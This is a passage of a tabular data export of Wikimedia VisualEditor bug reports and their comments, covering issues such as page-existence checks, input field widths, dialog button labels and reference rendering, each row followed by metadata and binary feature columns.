+While fixing the order is harder, we can easily work around the case where it is absent by running an additional api query simply checking whether a page by the title of ""Foo"" exists.",,,1406658645,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0
+248164,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 65927 has been marked as a duplicate of this bug. ***,,,1402016305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,48,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+248158,VisualEditor: OpenSearch results aren't perfect for checking for page existence,*** Bug 52596 has been marked as a duplicate of this bug. ***,,,1377808859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+248152,VisualEditor: OpenSearch results aren't perfect for checking for page existence,This looks the same as bug 52596 which contains more details of which pages are believed to exist and which are not,,,1377802895,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hqedrd262jmefrbeu2zs,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0
+53012,VisualEditor: Make defaultsort input field wider,"To fit long page titles. 
+
+There's plenty of empty space in the dialog box that could be put to use.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1373355240,1395083036.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-jbywhdnkgf572tjejemv,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+248112,VisualEditor: Make defaultsort input field wider,Thanks!,,,1395083036,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+248103,VisualEditor: Make defaultsort input field wider,"Change 119092 merged by jenkins-bot:
+Increases width of defaultsort and page redirect fields in options dialog
+
+https://gerrit.wikimedia.org/r/119092",,,1395082709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248096,VisualEditor: Make defaultsort input field wider,"Change 119092 had a related patch set uploaded by Mvolz:
+Increases width of defaultsort and page redirect fields in options dialog
+
+https://gerrit.wikimedia.org/r/119092",,,1395082320,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248090,VisualEditor: Make defaultsort input field wider,"Created attachment 14834
+Other dialogs affected by change
+
+**Attached**: {F11659}",,,1395009220,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248086,VisualEditor: Make defaultsort input field wider,"Created attachment 14833
+Screenshot of 100% width in default sort field
+
+**Attached**: {F11658}",,,1395008155,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248082,VisualEditor: Make defaultsort input field wider,"Created attachment 14832
+Screenshot of 30em width in default sort field
+
+So I've looked into this a bit and took some screenshots.
+
+Currently this is set in the class .oo-ui-textInputWidget and is set to 20em. The text input widget appears in Options -> Categories, Options -> Page Settings, and Insert -> Reference. 
+
+These 3 fields all look acceptable at a width of 30em. We could also go for 100% width of the div. I like the look of this in the two Options areas, although this looks a bit odd in the Reference dialog ""group by"" field. I think that even 20em was too wide for it to begin with- maybe we should add a special class here?
+
+Any opinions? I like both 30 em and 100%, and since reference dialog is likely to undergo radical UI changes the size of the group by field in the reference dialog could be ignored for the time being.
+
+**Attached**: {F11657}",,,1395008084,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-jbywhdnkgf572tjejemv,task_subcomment,,True,c1,3,False,,,36,,1,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+52998,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","When inserting a new template, the template dialog button label ""Apply changes"" doesn't make sense, since we're not changing an existing element. In that case, the button should be labeled ""Insert template"".
+
+Similarly, when inserting the list of references, the button should be labeled ""Insert references list"", not ""Apply changes"".
+
+In contrast, when inserting a footnote or media file, the button is correctly labeled ""Insert reference"" or ""Insert media"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1373336940,1394666798.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-4thzrxadngq5mhfphtu2,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+247400,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist",Verified the fix production:https://en.wikipedia.org/wiki/User:RYasmeen_%28WMF%29/sandbox?veaction=edit,,,1395350521,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+247394,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist",Verified the fix in test2:https://test2.wikipedia.org/w/index.php?title=User:RYasmeen_(WMF)/sandbox&veaction=edit,,,1394844008,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+247388,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","Change 117342 merged by jenkins-bot:
+Keep label and disabled state of transclusion dialog apply button in sync
+
+https://gerrit.wikimedia.org/r/117342",,,1394666490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247385,"VisualEditor: ""Apply changes"" label should be replaced with ""Insert template/reflist"" when inserting template/reflist","Change 117342 had a related patch set uploaded by Jforrester:
+Keep label and disabled state of transclusion dialog apply button in sync
+
+https://gerrit.wikimedia.org/r/117342",,,1394412858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4thzrxadngq5mhfphtu2,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52997,"VisualEditor: More gracefully handle situations where due to page length/slow client, slowness to load means browser kills VE","Splitting from bug 50475 comment 1.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373335140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tqk4thl22c326oiwdmgc,task_description,open,True,c1,3,True,False,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52996,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Especially for templates, having a faster way to open the inspector would be very helpful. Right now in the case of a large template, you have to first select the template, then mouse over to the puzzle piece location and click it. Just double-clicking/tapping the template seems like a straightforward and discoverable gesture.
+
+For links and other nodes it may be less important, but what would be the disadvantages for just making open-on-double-click the default behavior for all nodes that have a primary inspector of some kind?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54827",Medium,50.0,1373333700,1395274875.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_description,resolved,True,c1,3,False,False,False,1,,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0
+247321,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 103062 merged by jenkins-bot:
+Create mixin that tries to execute primary node command
+
+https://gerrit.wikimedia.org/r/103062",,,1395274513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+247315,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 84461 abandoned by Robmoen:
+WIP: Create ve.ce.ClickableNode mixin
+
+Reason:
+old
+
+https://gerrit.wikimedia.org/r/84461",,,1387582091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247309,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 103062 had a related patch set uploaded by Robmoen:
+Create mixin for node that responds to node click events
+
+https://gerrit.wikimedia.org/r/103062",,,1387581872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+247300,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 84461 had a related patch set uploaded by Krinkle:
+WIP: Create ve.ce.ClickableNode mixin.
+
+https://gerrit.wikimedia.org/r/84461",,,1383139276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247292,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,WIP: https://gerrit.wikimedia.org/r/#/c/84461/,,,1379374358,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+247288,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Sherry and I would really second Erik's suggestion.
+We just had feedback from a user who was clueless about what to do with ""a blue rectangle with a jigsaw icon"".",,,1378832292,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+247282,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,*** Bug 51176 has been marked as a duplicate of this bug. ***,,,1374854828,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247275,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"I think this would work best for nodes (i.e., things that have a dialog) and not for annotations (i.e., things that are either toggled like bold or superscript, or have only an inspector link links or language).
+
+This would be a lot simpler from a UX perspective (consistency of action and explainability), and the change overall is a good quick affordance win.",,,1374854811,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1
+52995,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"If you backspace-delete the newline that appears immediately prior to the indented quote of this rev (the quote that begins with ""This was a kind of blank ..""), the entire quote is deleted. This may be related to the fact that the newline shouldn't be there in the first place; it does not exist in the wikitext version of the page, nor is the text indented by means of a template. 
+
+https://en.wikipedia.org/w/index.php?title=Ernestine_Eckstein&oldid=563439288&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50418",Medium,50.0,1373332680,1429467886.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+445972,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,This seems fixed now. I was able to backspace or delete anything around the indentations on the test pages without the editor exploding in my face.,,,1429467871,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,True,,,93,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+247232,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"Testing at https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=570858997 shows that attempting to backspace on one of the trailing new lines no longer deletes anything, it just moves the cursor to the end of the line above.",,,1377896960,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,8,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0
+247227,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"I think this might be the same bug that I encountered last night. Details and a screenshot at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564667549#Indentation_with_colons_rendered_with_blank_lines._Attempting_to_delete_these_deletes_entire_section_and_cannot_be_undone
+
+Summary: Indentation with colons is rendered in VisualEditor with one blank line per level of indent before and after the indented section. Attempting to delete one of the blank lines before the indentation unindents by one level and removing a blank line before the indented text but not removing any after it. 
+
+Attempting to remove any of the blank lines after the indented text deletes the entire indentation section. This deletion cannot be undone.",,,1374076751,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+247221,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,Also note that undo doesn't seem to work on this deletion event.,,,1373354435,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52978,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Screenshot of odd rendering when using {{#tag:ref}}
+
+https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet?veaction=edit
+
+See attachment, [11] renders as span instead of as <sup> (like [10]) and as such isn'y styled correctly (text is too big).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11600}",Medium,50.0,1373316780,1373993621.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vqebaloi6mz6p43fpars,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+246361,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,Fixed and will go out later today.,,,1373993621,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+246353,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Change 73980 merged by jenkins-bot:
+Fake superscript style for references generated as spans
+
+https://gerrit.wikimedia.org/r/73980",,,1373992966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246347,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Change 73980 had a related patch set uploaded by Esanders:
+Fake superscript style for references generated as spans
+
+https://gerrit.wikimedia.org/r/73980",,,1373991605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246339,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"(In reply to comment #2)
+> Parsoid incorrectly renders references as <span>s. The ones directly in the
+> main documented are rendered as <sup>s by VE, but we don't control the ones
+> in
+> templates and other generated content (and #tag is a ParserFunction).
+Ugh, didn't see James's summary edit. Moving back to VE.
+
+We could probably add CSS to make <span class=""reference""> render as a superscript, or munge it in some other way. Though ideally I'd like us to convince Parsoid to render references as <sup>s the way the PHP parser does.",,,1373850925,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+246332,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Parsoid incorrectly renders references as <span>s. The ones directly in the main documented are rendered as <sup>s by VE, but we don't control the ones in templates and other generated content (and #tag is a ParserFunction).",,,1373850785,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+246327,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"This is confusing because the lack of superscript makes these refs look like an external link.
+
+This happens with all pages that use [[Template:Geographic reference]], which the English template page says is ""a very large number of Wikipedia articles"", and that template exists in 15 other Wikipedias including a few on the 'maybe' list for 22 July deployment.
+
+Example in the wild:
+
